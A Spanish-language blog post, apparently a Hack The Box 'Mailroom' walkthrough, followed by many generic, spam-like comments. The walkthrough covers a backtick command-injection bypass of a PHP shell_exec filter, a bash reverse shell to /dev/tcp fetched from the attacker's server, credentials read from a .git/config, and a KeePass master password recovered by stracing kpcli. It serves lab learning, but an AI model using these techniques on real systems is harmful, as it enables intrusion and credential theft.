Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: from localhost (unknown [172.19.0.5])
        by mailroom.localdomain (Postfix) with SMTP id 64B691C86
        for <[email protected]>; Tue, 25 Apr 2023 14:29:16 +0000 (UTC)
Subject: 2FA

Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=edeec2391f85818cca1e4db4579dfdbc
tristan@mailroom:/var/mail$ 

Realizamos un Port Forwarding para poder acceder al panel del subdominio.

❯ ssh -L 8080:127.0.0.1:80 [email protected]
[email protected]'s password:

Añadimos el nombre de dominio y subdominios a nuestra IP local.

127.0.0.1 mailroom.htb git.mailroom.htb staff-review-panel.mailroom.htb

Ponemos la ruta que nos dan en el archivo con el token y accedemos al panel del subdominio.

Volvemos a analizar el repositorio del subdominio y encontramos algo muy interesante.

if (isset($_POST['inquiry_id'])) {
    $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
    $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

En la ruta /inspect.php podemos ver que se ejecuta mediante shell_exec y reemplaza cualquier símbolo para que no se puede intentar hacer un RCE pero no está contemplado « «`.

Lo que podemos hacer es poner un servidor web en nuestra máquina e intentar realizar una petición.

![[rce-subdomain-mailroom.png]]

Y efectivamente nos llega la petición realizada desde el panel.

❯ sudo python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.209 - - [25/Apr/2023 17:47:10] "GET / HTTP/1.1" 200 -

Ahora creamos un archivo para que nos entable una reverse shell.

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.65/4444 0>&1

Interceptamos la petición mediante Burpsuite, la modificamos y la enviamos.

Obtenemos la petición del archivo.

❯ sudo python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.11.209 - - [25/Apr/2023 17:58:04] "GET /rev.sh HTTP/1.1" 200 -

Cambiamos los permisos del archivo mediante chmod para que se pueda ejecutar.

Nos ponemos en escucha mediante netcat por el puerto 4444.

❯ nc -nlvp 4444
Listening on 0.0.0.0 4444

Ejecutamos el archivo para obtener la reverse shell.

Y obtenemos acceso.

❯ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.209 56994
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@e977c347b300:/var/www/staffroom$ 

Podemos ver que nos encontramos dentro de un contenedor Docker.

www-data@e977c347b300:/var/www/staffroom$ hostname -I
172.19.0.5

En el archivo de configuración del repositorio encontramos las credenciales del usuario matthew.

www-data@e977c347b300:/var/www/staffroom$ cat .git/config 
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://matthew:HueLover83%23@gitea:3000/matthew/staffroom.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
[user]
        email = [email protected]
www-data@e977c347b300:/var/www/staffroom$

Nos conectamos como matthew y leemos la flag.

tristan@mailroom:~$ su matthew
Password: 
matthew@mailroom:/home/tristan$ cd 
matthew@mailroom:~$ cat user.txt 
2e3b6fc8f657993b2bccd91f6395ce6a
matthew@mailroom:~$

Descubrimos que hay un fichero de almacenamiento de contraseñas keepass.

matthew@mailroom:~$ ls
personal.kdbx  user.txt
matthew@mailroom:~$ file personal.kdbx 
personal.kdbx: Keepass password database 2.x KDBX

Si miramos los procesos activos encontraremos el proceso kpcli.

matthew@mailroom:~$ ps -elf
F S UID          PID    PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD
4 S matthew     4320    4319  0  80   0 -  2072 do_wai 16:46 pts/1    00:00:00 bash
4 S matthew     6365       1  0  80   0 -  4795 ep_pol 17:02 ?        00:00:00 /lib/systemd/systemd --user
4 S matthew     6371    6363  1  80   0 -  7359 poll_s 17:02 ?        00:00:00 /usr/bin/perl /usr/bin/kpcli
0 R matthew     6381    4320  0  80   0 -  2222 -      17:02 pts/1    00:00:00 ps -elf

La herramienta kpcli se utiliza para interactuar con ficheros keepass mediante terminal.

Esta máquina no dispone del comando strings así que necesitaremos utilizar strace.

strace -p <code>ps -elf | grep perl | awk '/kpcli/{print $4}'</code> &> output.txt

Deberemos ejecutar el comando de arriba varias veces hasta que nos aparezca toda la información del proceso.

Algo interesante es que podemos ver el mensaje que sale para pedir la contraseña, queriendo decir que si buscamos deberíamos encontrarla.

write(1, "Please provide the master passwo"..., 36) = 36
read(0, "!", 8192)                      = 1
read(0, "s", 8192)                      = 1
read(0, "E", 8192)                      = 1
read(0, "c", 8192)                      = 1
read(0, "U", 8192)                      = 1
read(0, "r", 8192)                      = 1
read(0, "3", 8192)                      = 1
read(0, "p", 8192)                      = 1
read(0, "4", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "w", 8192)                      = 1
read(0, "0", 8192)                      = 1
read(0, "1", 8192)                      = 1
read(0, "\10", 8192)                    = 1
read(1, "\10 \10", 3)                   = 3
read(0, "r", 8192)                      = 1
read(0, "d", 8192)                      = 1
read(0, "9", 8192)                      = 1

Esta sería la contraseña que nos dan <code>!sEcUr3p4$$w01rd9</code>`<code>. Hay 3 caracteres </code>`<code>\10</code>`<code>, que equivale a un espacio, y doble </code>`<code>\10 \10</code>`<code> es mover el cursor hacia la izquierda, eso borrará el carácter quedando </code>`<code>!sEcUr3p4$$w0rd9</code>.

Mediante kpcli leemos la contraseña del usuario root.

matthew@mailroom:~$ kpcli --kdb personal.kdbx
Please provide the master password: *************************

KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> ls
=== Groups ===
Root/
kpcli:/> cd Root/
kpcli:/Root> ls
=== Entries ===
0. food account                                            door.dash.local
1. GItea Admin account                                    git.mailroom.htb
2. gitea database password                                                
3. My Gitea Account                                       git.mailroom.htb
4. root acc                                                               
kpcli:/Root> show -f 4

Title: root acc
Uname: root
 Pass: a$gBa3!GA8
  URL: 
Notes: root account for sysadmin jobs

kpcli:/Root>

Obtenemos la contraseña de root y leemos la flag.

root@mailroom:/home/tristan# cd
root@mailroom:~# cat root.txt 
6d6cab58aa25c62e27c976d3eae2e31b
root@mailroom:~#
69 comentario en “Mailroom – HTB”
  1. Olá, parabéns pelo writeup, popderia me dizer como conseguiu a conexão? Ten tei repetir seus passo, mas parece que faltou algo, python server na 8081, nc na 4444, enviei pelo burp exatamente igual ao seu, porém não consegui conexão. Poderia me dizer como encodou os comandos no curl, vc enviou pelo Read Inqueries e inteceptou pelo burp? Poderia me dizer quais comandos enviou, estou presa nisso.
    Obrigada

  2. Thanks for some other fantastic post. The place else could anybody get that
    type of information in such a perfect method of writing?
    I have a presentation subsequent week, and
    I am on the search for such information.

    1. Thank you very much for your comment, the truth is that I have learned to write from doing some writeups and papers for school that required a lot of explanations. I learned many words from the Spanish Youtuber S4vitar, if you understand Spanish you will notice that he has a very good vocabulary when explaining himself. What helped me the most is writing a lot. I feel like I’m not much help, but here’s the only thing I can tell you.

  3. Hmm is anyone else encountering problems with the pictures
    on this blog loading? I’m trying to determine if
    its a problem on my end or if it’s the blog. Any feedback would be greatly appreciated.

  4. Magnificent items from you, man. I’ve bear in mind your stuff previous to and you are
    just too wonderful. I actually like what you’ve obtained here, really like what you’re stating and the way in which
    you assert it. You make it enjoyable and you continue to take care of to
    stay it sensible. I can’t wait to read far more from
    you. This is really a wonderful web site.

  5. Hi there, I found your web site by way of Google at the same time as
    searching for a related topic, your site came up, it appears to be like good.
    I’ve bookmarked it in my google bookmarks.
    Hello there, simply become aware of your blog via Google, and located that it is really informative.
    I’m going to be careful for brussels. I’ll be grateful should you proceed
    this in future. Numerous other people will be benefited out of
    your writing. Cheers!

  6. Hey There. I found your blog using msn. This is an extremely well written article.
    I will make sure to bookmark it and come back to read
    more of your useful info. Thanks for the post.
    I’ll definitely comeback.

  7. Have you ever thought about creating an e-book or guest authoring on other blogs?
    I have a blog based upon on the same information you discuss and would really like to have you share some stories/information. I know my subscribers would appreciate your
    work. If you are even remotely interested, feel free to shoot
    me an email.

  8. Hello there I am so delighted I found your blog page, I really found you by error, while I was looking on Askjeeve for something else, Regardless I am here now and would just
    like to say thanks a lot for a fantastic post and a
    all round interesting blog (I also love the theme/design), I don’t have time
    to go through it all at the moment but I have bookmarked it
    and also included your RSS feeds, so when I have time I will be back to read more, Please
    do keep up the excellent b.

  9. Hello! Quick question that’s completely off topic.
    Do you know how to make your site mobile friendly?
    My site looks weird when browsing from my apple iphone.
    I’m trying to find a theme or plugin that might be able
    to resolve this problem. If you have any recommendations,
    please share. Many thanks!

  10. Have you ever thought about including a little bit more than just your articles?
    I mean, what you say is important and all. Nevertheless think of if you added some great pictures or
    video clips to give your posts more, «pop»! Your content is excellent but with pics and clips,
    this website could certainly be one of the best in its field.
    Excellent blog!

  11. Please let me know if you’re looking for a author for your weblog.
    You have some really great posts and I feel I would be a good asset.
    If you ever want to take some of the load off, I’d absolutely love to write some
    material for your blog in exchange for a link back to mine.
    Please shoot me an e-mail if interested. Cheers!

  12. whoah this blog is great i love studying your articles.
    Stay up the great work! You recognize, a lot of persons are hunting round for
    this information, you could aid them greatly.

  13. I’ve been browsing online more than three hours these days, yet I by no means found any fascinating
    article like yours. It’s pretty price sufficient for me.
    In my opinion, if all site owners and bloggers
    made just right content as you did, the web shall be
    a lot more useful than ever before.

  14. This design is wicked! You obviously know how to keep a reader entertained.
    Between your wit and your videos, I was almost moved to
    start my own blog (well, almost…HaHa!) Excellent job.
    I really enjoyed what you had to say, and more than that, how you presented it.
    Too cool!

  15. Heya! I understand this is kind of off-topic but I had to ask.

    Does managing a well-established blog such
    as yours take a massive amount work? I’m brand new to operating a blog however
    I do write in my diary everyday. I’d like to start a blog so I can easily share my personal experience
    and thoughts online. Please let me know if you have any suggestions or tips for brand
    new aspiring blog owners. Thankyou!

    1. Maintaining the website does not require that much time, at first it is true that it takes quite a few hours, but after having everything configured it does not take much time per day. At first you may not have comments, but don’t worry, hard work and consistency in uploading content will make people value what you do. Don’t worry if you feel like you’re doing something wrong because it’s most likely your mind playing tricks on you.

  16. Can I simply just say what a relief to find somebody that truly knows what
    they’re talking about over the internet.
    You definitely know how to bring an issue to light and make
    it important. A lot more people ought to look at this and understand this side of the story.
    I can’t believe you are not more popular since you surely possess the gift.

    1. Thank you very much, I really loved your comment. Comments like yours make me want to continue writing more constantly and even improve both the design and the writing on the blogs, since there are some that I currently don’t like, so soon I will start updating on a recurring basis. Thank you very much for your support.

  17. Hey there! I know this is kind of off topic but I was wondering which blog
    platform are you using for this website? I’m getting tired of WordPress because
    I’ve had issues with hackers and I’m looking
    at alternatives for another platform. I would be
    fantastic if you could point me in the direction of a good platform.

  18. Great post. I was checking constantly this blog and I am
    impressed! Extremely helpful info specially the last part :
    ) I care for such info much. I was seeking this certain information for a long time.
    Thank you and good luck.

  19. Admiring the dedication you put into your site and detailed
    information you present. It’s great to come across a blog every once in a while that isn’t the same unwanted rehashed material.

    Wonderful read! I’ve saved your site and I’m including
    your RSS feeds to my Google account.

  20. Hmm it appears like your site ate my first comment (it
    was super long) so I guess I’ll just sum it up what I had written and say,
    I’m thoroughly enjoying your blog. I too am an aspiring blog blogger but I’m
    still new to everything. Do you have any helpful hints
    for first-time blog writers? I’d certainly appreciate it.

  21. Wow, amazing weblog format! How lengthy have you ever been running a blog for?
    you make blogging look easy. The entire glance of your site is wonderful, as neatly as
    the content material!

    1. Thank you very much for your very positive and flattering comment. I haven’t been blogging for long, but I have some experience in the studies I’m doing where they force you to write in the best possible ways to make everything easier for everyone.

    1. Right now I couldn’t tell you which website, but if you want quality you should see S4vitar, it is Spanish, but if you can translate their videos you will be able to find impressive quality in their videos.

  22. After exploring a few of the articles on your website, I seriously appreciate your technique of blogging.

    I added it to my bookmark webpage list and will be checking back soon. Take a look at my website
    as well and tell me your opinion.

    1. Thank you, you also have a good website, the design is quite good, since it is quite intuitive and I see that the information is very well structured. Honestly, I give it a better rating than my website XD

    1. Thank you very much, it is possible that in a short time some things in the website design will be changed to make them even better. Answering your question, I created the site by myself, the theme is a free WordPress theme, but I had to fix some things that were not convincing.

  23. I have been surfing online more than 2 hours today, yet I never found any
    interesting article like yours. It’s pretty worth enough for me.
    In my opinion, if all site owners and bloggers made good content as you did, the net will be a lot more
    useful than ever before.

    1. Thank you very much for your comment. Comments like yours make me want to continue writing and improving the website constantly. Currently, I haven’t updated anything in a while, but soon you will have new content.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *